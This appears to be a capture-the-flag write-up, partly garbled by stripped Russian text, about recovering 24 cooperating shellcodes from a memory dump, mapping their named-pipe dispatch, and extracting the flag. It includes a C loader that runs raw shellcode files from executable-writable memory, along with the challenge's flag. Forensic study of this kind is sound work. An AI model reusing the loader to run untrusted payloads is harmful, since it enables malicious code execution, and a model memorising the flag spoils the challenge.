SIGN.MEDIA=A856FE8 zn_2019\server\hui\usha.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\video_xxx_kopati4_nadaval_ogurcov_kroshu.mp4.exe SIGN.MEDIA=AB82C zn_2019\ConsoleApplication5.exe SIGN.MEDIA=AB82C zn_2019\injector.exe SIGN.MEDIA=B06D4C64 zn_2019\server\a.exe SIGN.MEDIA=B06D4C64 zn_2019\server\hui.exe SIGN.MEDIA=B06D4C64 zn_2019\server\run.exe SIGN.MEDIA=B06D4C64 zn_2019\server\video_xxx_kopati4_nadaval_ogurcov_kroshu.mp4.exe SIGN.MEDIA=BA802 zn_2019\server\run.exe SIGN.MEDIA=E00058 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=E00058 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=E00058 zn_2019\Injector2.exe SIGN.MEDIA=E00058 zn_2019\injector.exe SIGN.MEDIA=E00058 zn_2019\note.exe SIGN.MEDIA=E00058 zn_2019\note2.exe SIGN.MEDIA=E00058 zn_2019\note2.exe SIGN.MEDIA=E9982 zn_2019\server\run.exe 

I used my old tool to get filesystem structure out of NTFS records (a lot of FILE records usually cached in RAM).




data_storage is small enough to contain some resident $DATA inside FILE record, so we can extract it.


This file contains shellcode. All it does is resolving CreateNamedPipeA by hash using special function (see Figure below) and calling it with "\.\pipe\zn_shell_stor" argument.



I highlighted part of this function, this bytes can be used to located other 24 shellcodes inside memory dump.


One of shellcode #21 contained references to other, it is probably the main one.


 Global\vtHAjnNbCecOeNAnVeQFmdRw Global\jGzXXZJbXGPYniopljDEdwuD Global\jpBuyMNJzdnpwHimVlcBkwGo Global\ArlCJOxJFOKRkqOLcBhvjYqj Global\THxjCBohxSlNgCFbwJsHujqk Global\BOiJhsLFBuZdsFdCrLKEucpJ Global\iYxszVIFfsuzzEmGwgOQeEcb Global\NOluZoXPJalShopCCuNnWQbR Global\GCrtPmNEAOsZpSNNBdiYQfgz Global\pVVgeqcREhXSgKCwhkeyfTXw Global\trsQPehKvlxBJhEqIPtwzjxi Global\ngVrhgAEqcDssFsNerrAZsFz Global\KiZvGyiMnyTgvQdFNGcudfTY Global\FzXvKPKGCPMAERklFMXVMYga Global\nCZpFZPtyidhFOvVeemfyJAC Global\pjRmfOLLBXIbsJholoasvrqC Global\mhOVYcYRKgWdABAsgkvrcOOM Global\syGiShcLTXfQYGAAiafYBxoF Global\KbFVsPCPZrfVlUIQlvVoJLXW Global\XbuYiHCxQLTLApuToFldJIgI Global\auFqpIQAlsHcvjPEakqHyIeA Global\MrnXOMJvHmYBxRfkbLBUYWgn Global\GYVOmvrLhCpgQUPfnOshzzem Global\qaswedfrtghyujkiol121232 \\.\pipe\zn_shell_stor 

Every shellcode is started with CALL $+X instruction (E8 ?? ?? ?? ??), followed by data block and executable code. Code is looking for some functions and evaluates logic based on data read from pipe "\.\pipe\zn_shell_stor" .


FichierTagsMutex
b1mov movGlobal\GCrtPmNEAOsZpSNNBdiYQfgz
b2SBOX "axfksyBLjRfMFZXdINqyTXcekgCxPRNpKtmTAj SUdmElMsuKYkmFYbJxSbXwxmvQ"Global\NOluZoXPJalShopCCuNnWQbR
b3inc byte [rbp+0Ch]Global\ngVrhgAEqcDssFsNerrAZsFz
b4repne scasb strlen() == 18Global\jpBuyMNJzdnpwHimVlcBkwGo
b5??Global\ArlCJOxJFOKRkqOLcBhvjYqj
b6xor BUFFER "\x31\x2A\x72\xC8\x5E\x08\xC5\xFE \x07\x44\xCB\xEB\x76\x3B\xE1\x3A\x83"Global\MrnXOMJvHmYBxRfkbLBUYWgn
b7??Global\GYVOmvrLhCpgQUPfnOshzzem
b8cmp word [rbp+0Ch], 12hGlobal\KbFVsPCPZrfVlUIQlvVoJLXW
b9??Global\BOiJhsLFBuZdsFdCrLKEucpJ
b10??Global\iYxszVIFfsuzzEmGwgOQeEcb
b11cmpGlobal\pjRmfOLLBXIbsJholoasvrqC
b12add xor cl x2Global\nCZpFZPtyidhFOvVeemfyJAC
b13inc [rbp+0Ch]Global\auFqpIQAlsHcvjPEakqHyIeA
b14dw[rbp+0Ch] = dw[rbp+0Ch] + dw[rbp+0Ch]Global\syGiShcLTXfQYGAAiafYBxoF
b15WIN! Sleep BeepGlobal\XbuYiHCxQLTLApuToFldJIgI
b16save byteGlobal\mhOVYcYRKgWdABAsgkvrcOOM
b17add xor cl x2Global\FzXvKPKGCPMAERklFMXVMYga
b18zero rbp (0, 211h, 80h)Global\trsQPehKvlxBJhEqIPtwzjxi
b19??Global\KiZvGyiMnyTgvQdFNGcudfTY
b20Read from C:\beeps\flag.txtGlobal\vtHAjnNbCecOeNAnVeQFmdRw
b21MAIN
b22XorGlobal\THxjCBohxSlNgCFbwJsHujqk
b23cmp dw[rbp+0Ch], 256 decGlobal\pVVgeqcREhXSgKCwhkeyfTXw
b24beep(1000, 1100)Global\jGzXXZJbXGPYniopljDEdwuD

Understanding of shellcode actions is a little bit hard because everything tied together via pipe (A calls B, B calls C and etc.). We are required to jump from one shellcode to another during reversing.


I decided to execute it all and see what happens. All shellcodes was saved as files bN , where N is a number in range from 1 to 24 in order of appearing in memory dump. Dump #21 is the main dispatcher (it must be loaded first). File C:\beeps\flag.txt should be present in system for #20 to work.


 #include <windows.h> void load_shellcode(int index) { FILE* fp; DWORD dwThread; int size; CHAR filename[32]; sprintf_s(filename, "b%i", index); fopen_s(&fp, filename, "rb"); fseek(fp, 0, SEEK_END); size = ftell(fp); fseek(fp, 0, SEEK_SET); LPVOID pMem = VirtualAlloc( NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ); printf("Loaded %i | size=%i | at %p\n", index, size, pMem); fread(pMem, 1, size, fp); CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMem, 0, 0, &dwThread); fclose(fp); } int main() { load_shellcode(21); Sleep(1000); for (int i = 1; i <= 24; i++) { if (i == 21) continue; load_shellcode(i); } while (1) Sleep(1000); } 

I created C:\beeps\flag.txt with some dummy content (length is 17 as hinted by one of the shellcodes) and also set a breakpoint at module doing xor with buffer (#6).


Program executed and flag showed up in memory after XOR operation.


Flag: zn{$ucH SL0W !pC}


sysenter 6 . .


Quelques statistiques


. 136 .


.
— ASR-EHD Digital Security . (AV1ct0r), 22 15 .


Protected Shell RuCTFE. — 10. vos, 1 26.


, . 12-13 ZeroNights .

Source: https://habr.com/ru/post/fr472416/


All Articles